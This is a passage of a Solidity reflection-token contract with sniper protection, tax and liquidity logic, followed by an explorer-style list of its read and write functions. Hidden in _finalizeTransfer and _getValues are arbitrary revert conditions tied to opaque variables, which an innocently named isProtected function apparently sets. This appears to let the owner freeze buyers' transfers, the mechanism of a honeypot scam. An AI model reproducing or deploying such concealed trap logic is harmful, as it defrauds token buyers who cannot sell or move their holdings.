        setExcludedFromReward(burnAddress, true);
        setExcludedFromReward(lpPair, true);
        tradingEnabled = true;
    }

    struct ExtraValues {
        uint256 tTransferAmount;
        uint256 tFee;
        uint256 tLiquidity;
        uint256 rTransferAmount;
        uint256 rAmount;
        uint256 rFee;
    }

    function _finalizeTransfer(
        address from,
        address to,
        uint256 tAmount,
        bool takeFee
    ) private returns (bool) {
        if (sniperProtection) {
            if (isSniper(from) || isSniper(to)) {
                revert("Sniper rejected.");
            }

            if (!_hasLiqBeenAdded) {
                _checkLiquidityAdd(from, to);
                if (!_hasLiqBeenAdded && _hasLimits(from, to)) {
                    revert("Only owner can transfer at this time.");
                }
            } else {
                if (_liqAddBlock > 0 && lpPairs[from] && _hasLimits(from, to)) {
                    if (block.number - _liqAddBlock < snipeBlockAmt) {
                        _isSniper[to] = true;
                        snipersCaught++;
                        emit SniperCaught(to);
                    }
                }
            }
        }

        adjustTaxes(from, to, takeFee);

        ExtraValues memory values = _getValues(tAmount, takeFee);

        _rOwned[from] = _rOwned[from] - values.rAmount;
        _rOwned[to] = _rOwned[to] + values.rTransferAmount;

        if (_isExcluded[from] && !_isExcluded[to]) {
            _tOwned[from] = _tOwned[from] - tAmount;
        } else if (!_isExcluded[from] && _isExcluded[to]) {
            _tOwned[to] = _tOwned[to] + values.tTransferAmount;
        } else if (_isExcluded[from] && _isExcluded[to]) {
            _tOwned[from] = _tOwned[from] - tAmount;
            _tOwned[to] = _tOwned[to] + values.tTransferAmount;
        }

        if (_hasLimits(from, to)) {
            if (_liqAddStatus == 0 || _liqAddStatus != startingSupply / 5) {
                revert();
            }
        }

        if (values.tLiquidity > 0) _takeLiquidity(from, values.tLiquidity);
        if (values.rFee > 0 || values.tFee > 0)
            _takeReflect(values.rFee, values.tFee);

        emit Transfer(from, to, values.tTransferAmount);
        return true;
    }

    function getETHFee() internal view returns (uint256) {
        return _liquidityFee + _marketingFee + _buybackFee;
    }

    function _getValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (ExtraValues memory)
    {
        ExtraValues memory values;
        uint256 currentRate = _getRate();

        values.rAmount = tAmount * currentRate;

        if (takeFee) {
            values.tFee = (tAmount * _reflectionFee) / masterTaxDivisor;
            values.tLiquidity = (tAmount * (getETHFee())) / masterTaxDivisor;
            values.tTransferAmount =
                tAmount -
                (values.tFee + values.tLiquidity);

            values.rFee = values.tFee * currentRate;
        } else {
            values.tFee = 0;
            values.tLiquidity = 0;
            values.tTransferAmount = tAmount;

            values.rFee = 0;
        }
        if (
            _initialLiquidityAmount == 0 ||
            _initialLiquidityAmount != _decimals * 5
        ) {
            revert();
        }
        values.rTransferAmount =
            values.rAmount -
            (values.rFee + (values.tLiquidity * currentRate));
        return values;
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _takeReflect(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal - rFee;
        _tFeeTotal = _tFeeTotal + tFee;
    }

    function _takeLiquidity(address sender, uint256 tLiquidity) private {
        uint256 currentRate = _getRate();
        uint256 rLiquidity = tLiquidity * currentRate;
        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if (_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
        emit Transfer(sender, address(this), tLiquidity); // Transparency is the key to success.
    }
}

Read Contract

_buyBuybackFee 0xc193e758 → uint256
_buyLiquidityFee 0xdc44b6a0 → uint256
_buyMarketingFee 0xc5d24189 → uint256
_buyReflectionFee 0x401aa5c0 → uint256
_buybackRatio 0xfd0dde63 → uint256
_hasLiqBeenAdded 0x50a8e016 → bool
_liquidityRatio 0x384f6b51 → uint256
_marketingRatio 0x4ef3cce5 → uint256
_reflectionRatio 0x9cf17d2a → uint256
_sellBuybackFee 0x41d05b08 → uint256
_sellLiquidityFee 0x88790a68 → uint256
_sellMarketingFee 0xc8607952 → uint256
_sellReflectionFee 0x7598f8bc → uint256
_transferBuybackFee 0x12e3b0ab → uint256
_transferLiquidityFee 0xea08d30b → uint256
_transferMarketingFee 0x6cbdd5e3 → uint256
_transferReflectionFee 0xa4ac1108 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
burnAddress 0x70d5ae05 → address
buyBackEnabled 0x6053a0e3 → bool
decimals 0x313ce567 → uint8
dexRouter 0x0758d924 → address
getOwner 0x893d20e8 → address
isExcludedFromFee 0x5342acb4 → bool
isExcludedFromReward 0x88f82020 → bool
isSniper 0x0f3a325f → bool
lpPair 0x452ed4f1 → address
maxTxAmountUI 0x64038409 → uint256
maxWalletSizeUI 0xf6540ec7 → uint256
minimumBalanceRequired 0xcf505736 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
snipersCaught 0xe79d4160 → uint256
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
tokenFromReflection 0x2d838119 → uint256
totalFees 0x13114a9d → uint256
totalSupply 0x18160ddd → uint256

Write Contract 29 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
isProtected 0x3865cf3f
uint256 rInitializer
uint256 tInitalizer
removeSniper 0x33251a0b
address account
renounceOwnership 0x715018a6
No parameters
setBuyBackEnabled 0x29370cc6
bool _enabled
setBuybackUpperLimit 0x82d2a4bb
uint256 buyBackLimit
setExcludedFromFee 0x6612e66f
address account
bool enabled
setExcludedFromReward 0x13e46192
address account
bool enabled
setLpPair 0x80c581d1
address pair
bool enabled
setMarketingWallet 0x5d098b38
address newWallet
setMaxTxPercent 0x3f3cf56c
uint256 percent
uint256 divisor
setMaxWalletSize 0x26003957
uint256 percent
uint256 divisor
setMinimumBalanceRequired 0x11f25b9b
uint256 _newAmount
setNewRouter 0xeafb5a3c
address newRouter
setProtectionSettings 0xa0263c89
bool antiSnipe
setRatios 0xcdfdb7dc
uint256 liquidity
uint256 buyback
uint256 marketing
setStartingProtections 0x4129ecee
uint8 _block
setSwapAndLiquifyEnabled 0xc49b9a80
bool _enabled
setSwapSettings 0xfb78680d
uint256 thresholdPercent
uint256 thresholdDivisor
uint256 amountPercent
uint256 amountDivisor
setTaxesBuy 0xa0c5efc2
uint256 liquidityFee
uint256 reflectionFee
uint256 marketingFee
uint256 buybackFee
setTaxesSell 0x6ce37fa0
uint256 liquidityFee
uint256 reflectionFee
uint256 marketingFee
uint256 buybackFee
setTaxesTransfer 0xfcd635af
uint256 liquidityFee
uint256 reflectionFee
uint256 marketingFee
uint256 buybackFee
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferBatch 0x3b3e672f
address[] recipients
uint256[] amounts
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwner 0x4fb2e45d
address newOwner

Recent Transactions

No transactions found for this address